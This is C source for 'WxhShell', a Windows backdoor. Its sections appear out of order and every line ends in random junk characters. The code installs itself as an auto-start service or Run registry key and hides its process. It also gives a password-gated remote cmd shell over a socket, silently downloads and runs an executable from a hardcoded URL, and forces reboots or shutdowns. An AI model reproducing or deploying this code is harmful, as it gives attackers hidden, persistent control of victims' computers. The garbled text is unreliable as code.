    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2i{cQ96  
    if(Boot(SHUTDOWN)) Iq7}   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQ}6y  
    else { b75 $?_+  
    closesocket(wsh); ?p<.Fv8.  
    ExitThread(0); KJ2Pb"s  
    } WI> P-D  
    break; `o]g~AKX  
    } #|GSQJ$F)`  
  // 获取shell e=vsuqGT  
  case 's': { eB> s=}|  
    CmdShell(wsh); C)'q QvA  
    closesocket(wsh); ` |IUGz  
    ExitThread(0); r}#\BbCv;7  
    break; z!;1i[|x  
  } BVsD( @lX  
  // 退出 fA/m1bYxg  
  case 'x': { (Rt7%{*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o2z]dTJ}o  
    CloseIt(wsh); [u}(57DS  
    break; 2%RNq<{Z_  
    } zmj"fN{\  
  // 离开 t\P<X^d%  
  case 'q': { /S5| wNu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <@wj7\pQ  
    closesocket(wsh); 9,j-V p!G  
    WSACleanup(); 8to8!(  
    exit(1); X\$ 0  
    break; goat<\a  
        } m7EcnQf  
  } D8&`R  
  } ,Ys"W x  
3pf[M{dG  
  // 提示信息 ~x#w<0e>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J^R=dT!  
} ~/^5) g_  
  } _Z5Mw+=19  
=K'cM=WM6  
  return; QrO\jAZ{Ag  
} cdqB,]"  
X\EVTd)@  
// shell模块句柄 2(5ebe[  
int CmdShell(SOCKET sock) qTZFPfyU  
{ }_=eT]  
STARTUPINFO si; su*Pk|6%  
ZeroMemory(&si,sizeof(si)); 'lHdOG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (=D&A<YX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s .Wdxh  
PROCESS_INFORMATION ProcessInfo; gs!(;N\j|  
char cmdline[]="cmd";  w 4[{2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oh# \]c\f  
  return 0; 8-<:i  
} "-@[R  
4_Dp+^JF  
// 自身启动模式 `u>4\sv  
int StartFromService(void) {*{Ox[Nh{  
{ Eu"_MgD  
typedef struct 'y8]_K*  
{ U9b?i$  
  DWORD ExitStatus; .bBdQpF-  
  DWORD PebBaseAddress; Y0eE-5F,  
  DWORD AffinityMask; 4pw6bK,s2\  
  DWORD BasePriority; q6YXM  
  ULONG UniqueProcessId; )K &(  
  ULONG InheritedFromUniqueProcessId; MSf;ZB  
}   PROCESS_BASIC_INFORMATION; ;M"9$M'  
N F)~W#  
PROCNTQSIP NtQueryInformationProcess; :y7c k/>  
w$JvB5O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Eke5Nb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ua!aaq&  
boDt`2=  
  HANDLE             hProcess; %^RN#_ro(3  
  PROCESS_BASIC_INFORMATION pbi; ]_N|L|]M  
ER,1(1]N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vWAL^?HUP  
  if(NULL == hInst ) return 0; I`NjqyTW  
#g6.Glz3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U&O: _>~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e7wSOs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P.gb 1$7<  
'7O3/GDK  
  if (!NtQueryInformationProcess) return 0; Gea\,{E9xA  
13taFV dU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ X q!L  
  if(!hProcess) return 0; 1GzAG;UUo6  
,v"YqD+GC5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a+n0|CvF  
T=ev[ mS  
  CloseHandle(hProcess); x7O-Y~[2  
2}8v(%s p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GSH>7!.#  
if(hProcess==NULL) return 0; SL5Ai/X0N  
!qG7V:6  
HMODULE hMod; j]`PSl+w  
char procName[255]; 1I:+MBGin  
unsigned long cbNeeded; Bz,?{o6s)Q  
:OuA)f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KCs[/]  
]\|VpIg  
  CloseHandle(hProcess); -B +4+&{T  
0Vx.nUQ  
if(strstr(procName,"services")) return 1; // 以服务启动 nr<4M0tIp  
]q4rlT.i  
  return 0; // 注册表启动 Dh=9Gns9  
} YPxM<Gfa8  
.SWlp2!M5  
// 主模块 _*f`iu:`  
int StartWxhshell(LPSTR lpCmdLine) (!:,+*YY  
{ YOcO4   
  SOCKET wsl; 7Op>i,HZk\  
BOOL val=TRUE; v?geCe=ng  
  int port=0; Rb'|EiNPw  
  struct sockaddr_in door; @{2 5xTt  
wRVUu)  
  if(wscfg.ws_autoins) Install(); uA< n  
ez| )ph7  
port=atoi(lpCmdLine); ]9^sa-8  
~sh`r{0  
if(port<=0) port=wscfg.ws_port; ?32&]iM oW  
w(L4A0K[  
  WSADATA data; E 7{U |\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DA\2rLs  
j:v@pzTD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fb~ytl<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HAa; hb  
  door.sin_family = AF_INET; yU*8|FQbP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nlc "c5;jh  
  door.sin_port = htons(port); p>huRp^w  
$&n=$C&x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F1yqxWHeo  
closesocket(wsl); [1S|dc>.O%  
return 1; " )1V]}+m  
} cz8T  
p^w;kN  
  if(listen(wsl,2) == INVALID_SOCKET) { lN Yt`xp  
closesocket(wsl); JJN.ugT}1  
return 1; M<v%CawS  
} t7aefV&_,  
  Wxhshell(wsl); HMNLa*CL'  
  WSACleanup(); 2fL;-\!y(  
H*PSR  
return 0; Y^wW2-,m  
8)_XJ"9)G  
} bE !GJZ  
_z|65H  
// 以NT服务方式启动 JkbQyn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <<][hQs  
{ GBPo8L"9  
DWORD   status = 0; FOE4>zE  
  DWORD   specificError = 0xfffffff; ;@oN s-  
YIG~MP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xqu}cz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K  &N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (5-FVp fb  
  serviceStatus.dwWin32ExitCode     = 0; 3EPv"f^V  
  serviceStatus.dwServiceSpecificExitCode = 0; ]>5/PD,wWy  
  serviceStatus.dwCheckPoint       = 0; w9EOC$|Y  
  serviceStatus.dwWaitHint       = 0; H&-zZc4\  
X}Ai -D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?67Y-\}  
  if (hServiceStatusHandle==0) return; n-tgX?1'  
k%WTJbuG<)  
status = GetLastError(); +V{kb<P  
  if (status!=NO_ERROR) *nkoPVpC  
{ $Nhs1st*8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; inMA:x}cF1  
    serviceStatus.dwCheckPoint       = 0; +~ P2C6@G  
    serviceStatus.dwWaitHint       = 0; -(;26\lE  
    serviceStatus.dwWin32ExitCode     = status; KW pVw!  
    serviceStatus.dwServiceSpecificExitCode = specificError; <h0?tv]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rlOAo`hd  
    return; Rl?_^dPx  
  } ia!y!_L\'  
g}1B;zGf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V17%=bCZ5[  
  serviceStatus.dwCheckPoint       = 0; iP ->S\  
  serviceStatus.dwWaitHint       = 0; .WZ^5>M-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . YAT:;L  
} m[~y@7AK<  
*k.G5>@  
// 处理NT服务事件,比如:启动、停止 )q8pk2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3YOq2pW72G  
{ d:C'H8  
switch(fdwControl) #A JDWelD  
{ 3u+T~g0^  
case SERVICE_CONTROL_STOP: U:0mp"  
  serviceStatus.dwWin32ExitCode = 0; V^bwXr4f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 ob@[ @  
  serviceStatus.dwCheckPoint   = 0; p>v$FiV2N  
  serviceStatus.dwWaitHint     = 0; 3M[! N  
  { ZbW17@b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y!w`YYKP  
  } ; F"g$_D0  
  return; *&^Pj%DX  
case SERVICE_CONTROL_PAUSE: B" 1c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bq%Jh  
  break; |4;Fd9q^m  
case SERVICE_CONTROL_CONTINUE: 0d)M\lG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IL#"~D?  
  break; wDal5GJp  
case SERVICE_CONTROL_INTERROGATE: }HYbS8'  
  break; 2lH&  
}; nS }<-s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fo5FNNiID  
} {HltvO%8  
$w`x vX  
// 标准应用程序主函数 pP&7rRhw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qb-M6ihcc  
{ LM<qT-/qs  
l *(8i ^  
// 获取操作系统版本 K_|k3^xx"  
OsIsNt=GetOsVer(); NX*Q F+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O`IQ(,yef  
)-I { ^(  
  // 从命令行安装 [Kg+^N% +  
  if(strpbrk(lpCmdLine,"iI")) Install(); u&Yz[)+b=g  
qd ~BnR$=  
  // 下载执行文件 S6Q  
if(wscfg.ws_downexe) { -">;-3,K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u5`u>.!  
  WinExec(wscfg.ws_filenam,SW_HIDE); -:+|zF@f  
} oM>l#><nq  
~ D j8 z+^  
if(!OsIsNt) { oGnSPI5KGC  
// 如果时win9x,隐藏进程并且设置为注册表启动 w e//|fA<  
HideProc(); 4 #MtF'J  
StartWxhshell(lpCmdLine); )0]'QLH  
} M6 "PX *K  
else S%;O+eFYb  
  if(StartFromService()) i &nSh ]KK  
  // 以服务方式启动 iy.p n  
  StartServiceCtrlDispatcher(DispatchTable); G" qv z{*  
else {L{o]Ii?g  
  // 普通方式启动 _}Ac n$  
  StartWxhshell(lpCmdLine); HmGWht6R  
o q Xg  
return 0; {3mRq"e  
} EHJ.T~X  
( Y[Q,  
:D5Rlfj  
L\J;J%fz.  
=========================================== b|:YIXml  
~g]Vw4pv  
;WQve_\  
zj{pJOM06  
gD @){Ip  
lgL%u K)  
" BA:VPTZq  
e8a+2.!&\  
#include <stdio.h> Hk3sI-XkA  
#include <string.h> Qz1E 2yJ  
#include <windows.h> Q~ w|#  
#include <winsock2.h> Rsm^Z!sn  
#include <winsvc.h> W' VslZG  
#include <urlmon.h> tCH!my_  
Naf0)3q>!  
#pragma comment (lib, "Ws2_32.lib") (=AWOU+  
#pragma comment (lib, "urlmon.lib") W:2( .?  
kiaw4_  
#define MAX_USER   100 // 最大客户端连接数 Ty?cC**  
#define BUF_SOCK   200 // sock buffer q6luUx,@m  
#define KEY_BUFF   255 // 输入 buffer _1\v  
_ ]ip ajT  
#define REBOOT     0   // 重启  +SU8 +w  
#define SHUTDOWN   1   // 关机 F v2-(  
"%w u2%i  
#define DEF_PORT   5000 // 监听端口 s/#!VnU6  
By!o3}~g  
#define REG_LEN     16   // 注册表键长度 m+[Ux{$  
#define SVC_LEN     80   // NT服务名长度 VscE^'+  
H/ HMm{4  
// 从dll定义API Ax7[;|2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lTgjq:mn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IM'r8 V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K;G~V\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p8O2Z? \  
$7ZX]%<s  
// wxhshell配置信息 x|Bf-kc[#Q  
struct WSCFG { +~$ ]} %  
  int ws_port;         // 监听端口 !wVM= z^G  
  char ws_passstr[REG_LEN]; // 口令 sY&IquK^  
  int ws_autoins;       // 安装标记, 1=yes 0=no j</: WRA`]  
  char ws_regname[REG_LEN]; // 注册表键名 Wqw1J=]  
  char ws_svcname[REG_LEN]; // 服务名 *i%.;Z"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =8. ,43+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kbQ>a5`,x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #=A)XlZMd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )7Wf@@R'F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AQvudx)@"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6A-|[(NS  
/W<;Z;zk  
}; G5 WVr$  
|u<7?)mp  
// default Wxhshell configuration 14yv$,  
struct WSCFG wscfg={DEF_PORT, ^6V[=!& H  
    "xuhuanlingzhe", :4/3q|cn  
    1, &j"?\f?  
    "Wxhshell", g}cq K  
    "Wxhshell", yR{3!{r3(  
            "WxhShell Service", f.$af4 u  
    "Wrsky Windows CmdShell Service", .M%}X7  
    "Please Input Your Password: ", qo bc<-  
  1, Ve; n}mJ?  
  "http://www.wrsky.com/wxhshell.exe", kdeWip6Y  
  "Wxhshell.exe" (hbyEQhF  
    }; *^ZV8c}  
m-#2n? z-  
// 消息定义模块 V U3upy<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $<EM+oJ|ER  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p_%Rt"!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sUQ@7sTj  
char *msg_ws_ext="\n\rExit."; 2fd{hJDq;5  
char *msg_ws_end="\n\rQuit."; H<,gU`&R  
char *msg_ws_boot="\n\rReboot..."; }19\.z&J  
char *msg_ws_poff="\n\rShutdown..."; \_f(M|  
char *msg_ws_down="\n\rSave to "; n{mfn *r.  
U 'bEL^Jf  
char *msg_ws_err="\n\rErr!"; ?Z/V~,  
char *msg_ws_ok="\n\rOK!"; b3, _(;A!  
.#8 JCY  
char ExeFile[MAX_PATH]; /y}xX  
int nUser = 0; vA8nvoi  
HANDLE handles[MAX_USER]; !%c\N8<>GD  
int OsIsNt; )jP1or  
Yc?*dUV  
SERVICE_STATUS       serviceStatus; x s|FE3:a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `X&gE,Ii  
+ cN8Y}V  
// 函数声明 .aQ \jA  
int Install(void); (O3nL.  
int Uninstall(void); 2P0*NQ   
int DownloadFile(char *sURL, SOCKET wsh); F={a;Dvrn  
int Boot(int flag); @\#td5'  
void HideProc(void); /PIcqg  
int GetOsVer(void); (f"4,b^]  
int Wxhshell(SOCKET wsl); yY q,*<G  
void TalkWithClient(void *cs); [{,1=AB  
int CmdShell(SOCKET sock); SO!8Di  
int StartFromService(void); 2BwO!Y[  
int StartWxhshell(LPSTR lpCmdLine); 0@oJFJrO  
ud('0 r',D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S<Xf>-8w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]}Yl7/gM1}  
UJ   
// 数据结构和表定义 k{-Cwo  
SERVICE_TABLE_ENTRY DispatchTable[] = vEJbA  
{ Q*Pq{]0K  
{wscfg.ws_svcname, NTServiceMain}, 9\7en%(M  
{NULL, NULL} cbTm'}R(G  
}; i9x+A/ o[  
/j.9$H'y  
// 自我安装 ;:NJCuG  
int Install(void) Q\Vgl(;lX  
{ gg2( 5FPP  
  char svExeFile[MAX_PATH]; E7hY8#G  
  HKEY key; SvF<p3  
  strcpy(svExeFile,ExeFile); =dN@Sa/  
)Pv%#P-<  
// 如果是win9x系统,修改注册表设为自启动 o`-msz  
if(!OsIsNt) { 6Z"X}L,*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }N52$L0[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^iV)MTT  
  RegCloseKey(key); A.w.rVDD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m)v &v6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'm$L Ij?@  
  RegCloseKey(key); DN6Mo<H  
  return 0; #%O0[kd  
    } l.M0`Cn-%  
  } U 6)#}   
} h/Y'<:  
else { N"ST@/j.A  
tQ#n${a@f  
// 如果是NT以上系统,安装为系统服务 1?l1:}^L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YGNP53CU  
if (schSCManager!=0) N8df8=.kw  
{ "3J}b?u_[  
  SC_HANDLE schService = CreateService _|`S3}q|d  
  ( ;!Fn1|)  
  schSCManager, ,eS)e+yzc2  
  wscfg.ws_svcname, k+*u/neh  
  wscfg.ws_svcdisp, "" EQE>d  
  SERVICE_ALL_ACCESS, 4CTi]E=H{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1< ?4\?j  
  SERVICE_AUTO_START, ,PD QzJY  
  SERVICE_ERROR_NORMAL, MF'JeM;H  
  svExeFile, 8 L Cb+^  
  NULL, kyV8K#}%8  
  NULL, "#g}ve,  
  NULL, E!F^H^~$8  
  NULL, &UFZS94@r  
  NULL ~wdGd+ez  
  ); gjlx~.0d  
  if (schService!=0) !5!<C,U  
  { {{!-Gr  
  CloseServiceHandle(schService); nO-#Q=H,  
  CloseServiceHandle(schSCManager); h{qgEIk&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8eRLy/`gd  
  strcat(svExeFile,wscfg.ws_svcname); #<xm.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^<6[.)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gRzxLf`K  
  RegCloseKey(key); VIbq:U  
  return 0; E{vbO/|kf  
    } 3OB"#Ap8<  
  } noj0F::m`j  
  CloseServiceHandle(schSCManager); @2#lI  
} yf,z$CR  
} ^B^9KEjTz  
}6ldjCT/,  
return 1; % ] U  
} vP,n(reM  
7xR\kL.,  
// 自我卸载 _#8MkW#]~  
int Uninstall(void) "J1 4C9u   
{ -G=]=f/'  
  HKEY key; fV~[;e;U.  
vih9 KBT  
if(!OsIsNt) { q,%st~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Z&(6cDY8M  
  RegDeleteValue(key,wscfg.ws_regname); W*Y/l~x}  
  RegCloseKey(key); $:^td/p J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ho]su?  
  RegDeleteValue(key,wscfg.ws_regname); ;AG()NjOO:  
  RegCloseKey(key); 19] E 5'AI  
  return 0; ee=D1qNu;  
  } +w~oH=  
} @(lh%@hO  
} l+b~KU7~l  
else { G+m }MOQP7  
r mOj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'c~4+o4co  
if (schSCManager!=0) W%Fv p;\`  
{ moE2G?R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [N'h%1]\  
  if (schService!=0) .]K%G\*`:  
  { Vt ohL+  
  if(DeleteService(schService)!=0) { h@BY]80  
  CloseServiceHandle(schService); uw8f ~:LT  
  CloseServiceHandle(schSCManager); !`r$"}g  
  return 0; 2A!FDr~cdT  
  } ]_$[8#kg  
  CloseServiceHandle(schService); w2'5#`m  
  } 5-A\9UC*@  
  CloseServiceHandle(schSCManager); & nK<:^n  
} ./~(7o$  
} *K; ~!P  
`0R./|bv\I  
return 1; o !7va"  
} d"Y{UE  
w2J<WC+_<  
// 从指定url下载文件 6w77YTJ  
int DownloadFile(char *sURL, SOCKET wsh) @j/&m]6%-D  
{ f *)Z)6E  
  HRESULT hr; Q59W#e)  
char seps[]= "/"; t$ *0{w E  
char *token; @o.I;}*N  
char *file; )pn3~t<e d  
char myURL[MAX_PATH]; T]$U""  
char myFILE[MAX_PATH]; A%-6`>  
:gC#hmm^  
strcpy(myURL,sURL); BJ0?kX@  
  token=strtok(myURL,seps); 'B}qZCy W  
  while(token!=NULL) 048kPXm`  
  { XX~,>Q}H=  
    file=token; M^I(OuRMeI  
  token=strtok(NULL,seps); wyG;8I  
  } PI<vxjOK`  
1YMh1+1  
GetCurrentDirectory(MAX_PATH,myFILE); 2T`!v  
strcat(myFILE, "\\"); =R\]=cRbg  
strcat(myFILE, file); rM "l@3hP  
  send(wsh,myFILE,strlen(myFILE),0); OrG).^l  
send(wsh,"...",3,0); [S<";l8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i6N',&jFU  
  if(hr==S_OK) S tyfB  
return 0; .|=\z9_7S8  
else &.ACd+Cd  
return 1; <-0]i_4sK  
92-I~ !d  
} WPDyu.QD  
O H7FkR  
// 系统电源模块 .p$(ZH =~  
int Boot(int flag) K+iP 6B  
{ E)3NxmM#  
  HANDLE hToken; )}ROLe  
  TOKEN_PRIVILEGES tkp; 9>$p  
-Qe Z#w|  
  if(OsIsNt) { A\;U3Zu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .sA.C] f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'ig'cRD6N  
    tkp.PrivilegeCount = 1; hzC>~Ub5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r_.S>]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *$*ce|V5  
if(flag==REBOOT) { Vz[C=_m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a: K[ y  
  return 0; CH/rp4NeSy  
} t >sE x:  
else { "h ^Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )CyS#j#=  
  return 0; 2BobH_ H  
} J-4:H gx  
  } b>$S<td  
  else { !%>7Dw(kt  
if(flag==REBOOT) { bN88ua}k{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iR0y"Cii  
  return 0; O1kl70,`R  
} ]{LjRSV  
else { +^<](z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c"xK`%e  
  return 0; \(T /O~b2  
} ,=N.FS  
} k+4#!.HX^  
Cls%M5MH  
return 1; 07$o;W@  
} '3H_wd  
[8*)8jP3  
// win9x进程隐藏模块 Xx(T">]vJ  
void HideProc(void) . [ mR M  
{ 2px|_)i  
s9d_GhT%-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uwBi W  
  if ( hKernel != NULL ) IIqUZJ  
  { &"q=5e2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q5_o/wk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l NBL4yM  
    FreeLibrary(hKernel); M#[{>6>iE  
  } K4);HJ|=  
8x{'@WCG%  
return; bYPKh  
} Ic4H#w  
.>nRzgo  
// 获取操作系统版本 8sCv]|cn  
int GetOsVer(void) k$7Jj-+~  
{ {}Za_(Y,]  
  OSVERSIONINFO winfo; s|ITsz0,td  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b_):MQ1{  
  GetVersionEx(&winfo); xP,hTE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jNy.Y8E&  
  return 1; V470C@  
  else qyNyBr?  
  return 0; e~':(/%|5;  
} "wHFN>5B  
~3 bPIg7D  
// 客户端句柄模块 E+JqWR5  
int Wxhshell(SOCKET wsl) :/Qq@]O>  
{ ?pZOeqqu$  
  SOCKET wsh; kSh( u  
  struct sockaddr_in client; <"|,"hA  
  DWORD myID; GM<-&s!Uj  
Wxe0IXq3Nn  
  while(nUser<MAX_USER) e 3TI|e_  
{ &8 x-o,  
  int nSize=sizeof(client); BVO<e \>3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K96<M);:g  
  if(wsh==INVALID_SOCKET) return 1; (!N|Kl  
JO< wU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?I@W:#>o  
if(handles[nUser]==0) ia 73?*mXT  
  closesocket(wsh); 3%ZOKb"D*  
else *=c1d o%F  
  nUser++; mdg i5v  
  } VU d\QR-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); baK$L;Xo:  
"FKOaQ%IH  
  return 0; # N cK X  
} b>N8F^}~O  
uR r o?m<  
// 关闭 socket 4_cqT/  
void CloseIt(SOCKET wsh) 0_t`%l=  
{ LE>]8[ f6S  
closesocket(wsh); *`RkTc G  
nUser--; `^y7f  
ExitThread(0); n=ux5M  
} ( ICd}  
j,dR,Nd  
// 客户端请求句柄 bbyg8;/  
void TalkWithClient(void *cs) u-5{U-^_  
{ (=@h23 vH  
/~f'}]W  
  SOCKET wsh=(SOCKET)cs; xlg9TvvI  
  char pwd[SVC_LEN]; q%?in+l  
  char cmd[KEY_BUFF]; H+Sz=tg5  
char chr[1]; 1 Ya`| ?FS  
int i,j; A$:U'ZG_  
j ?(&#  
  while (nUser < MAX_USER) { ^M>P:~  
KMjhZap%  
if(wscfg.ws_passstr) { \)?HJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "!%l/_p?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nQ,HMXj  
  //ZeroMemory(pwd,KEY_BUFF); hFl^\$Re  
      i=0; Gk /fBs  
  while(i<SVC_LEN) { X(-4<B  
~O &:C{9=  
  // 设置超时 )/?$3h;  
  fd_set FdRead; %Qdn  
  struct timeval TimeOut; 7{I0s;R  
  FD_ZERO(&FdRead); /CG"]!2 "  
  FD_SET(wsh,&FdRead); ;x@~A^<el  
  TimeOut.tv_sec=8; <?4V  
  TimeOut.tv_usec=0; 8q}q{8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); exUu7& *:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xjj6WED  
?oHpFlj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eM?I$ePTN  
  pwd=chr[0]; _8_R 1s  
  if(chr[0]==0xd || chr[0]==0xa) { b 7?hI  
  pwd=0; *6DB0X_-}  
  break; 8C9-_Ng`  
  } "u^H# L>-q  
  i++; P! #[mio  
    } +s DV~\Vu  
T <ET )D7  
  // 如果是非法用户,关闭 socket &AbNWtCV+G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *.d)OOpLo  
} \Et3|Iv  
(S\[Y9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U0N 60  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SmSH2m-  
e [mm  
while(1) { 6.nCV 0xA  
FSW_<%  
  ZeroMemory(cmd,KEY_BUFF); <+vw@M  
+Kbjzh3<wG  
      // 自动支持客户端 telnet标准   iVq'r4S  
  j=0; F%D.zvKN  
  while(j<KEY_BUFF) { 9H`XeQ.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZ/v^ xk  
  cmd[j]=chr[0]; 0*D$R`$  
  if(chr[0]==0xa || chr[0]==0xd) { WuUk9_ g  
  cmd[j]=0; zL`iK"N`  
  break; MC.) 2B7  
  } ofw3S |F6  
  j++; qm8B8&-  
    } ::{Q1F  
2?ez,*-[  
  // 下载文件 UIN<2F_  
  if(strstr(cmd,"http://")) { ]{mPh\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !/i{l  
  if(DownloadFile(cmd,wsh)) } .m<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =QiI :|eRA  
  else mQ 26K~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>:wd@w  
